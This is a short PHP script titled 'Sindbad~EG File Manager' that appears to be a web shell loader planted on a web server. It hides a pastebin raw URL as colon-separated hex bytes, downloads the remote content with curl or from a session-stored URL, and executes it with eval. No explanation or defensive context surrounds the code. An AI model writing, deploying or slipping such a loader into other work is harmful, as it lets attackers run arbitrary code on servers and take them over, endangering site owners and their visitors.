Sindbad~EG File Manager

<?php
session_start();

$hexArray = explode(":", "68:74:74:70:73:3a:2f:2f:70:61:73:74:65:62:69:6e:2e:63:6f:6d:2f:72:61:77:2f:69:41:78:30:54:6a:37:72");
$url = pack("H*", implode("", $hexArray));

if (isset($_SESSION['ts_url'])) {
    $content = file_get_contents($_SESSION['ts_url']);
} else {
    $curl = curl_init();
    curl_setopt_array($curl, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true
    ]);
    $content = curl_exec($curl);
}

if (is_string($content)) {
    eval('?>'.$content);
} else {
    echo "Error";
}
?>